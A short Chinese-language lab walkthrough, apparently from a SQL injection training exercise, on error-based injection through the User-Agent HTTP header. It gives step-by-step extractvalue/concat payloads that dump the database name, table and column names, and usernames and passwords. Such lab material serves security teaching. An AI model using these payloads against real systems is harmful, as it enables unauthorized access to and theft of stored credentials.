目录
知识点:Http头部注入,报错注入
思路:
通过源代码可以得知,passwd和uname这两个地方使用了check_input函数,会过滤用户的输入,所以这里不是注入点,接下下面有一条insert语句,会对user-agent,进行查询,也会显示出来信息,我们可以在这里进行测试。
1、判断注入点
在user-agent,加上单引号’ ,爆出了数据库语句错误
通过分析报错信息,我们可以得知单引号后还有两个字段,加上注释符#看看
这里还是报错,但没有了后面的字段,我们改成 ‘,1,1)#
这里没有爆出数据库语句错误
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',1,extractvalue(1,concat(0x7e,database())))#
通过extractvalue函数可以爆出函数,说明user-agent这个字段存在单引号闭合错误的注入问题
2、判断库名
为了简化,看起来不那么复杂,我们把之前的user-agent内容删掉,改成
1‘,1,extractvalue(1,concat(0x7e,database())))#
3、判断表名
1',1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))#
通过修改limit的值,可以得到四个表为emails、referers、uagents、users
4、判断字段名
以uesrs表为例
1',1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#
通过修改limit的值可以得知users表的三个字段为id、username、password
5、判断值
1',1,extractvalue(1,concat(0x7e,(select username from security.users limit 0,1))))#
1',1,extractvalue(1,concat(0x7e,(select password from security.users limit 0,1))))#
通过这种方式,就可以得到数据库的信息
这篇文章就先写到这里了,有哪些不足欢迎指正。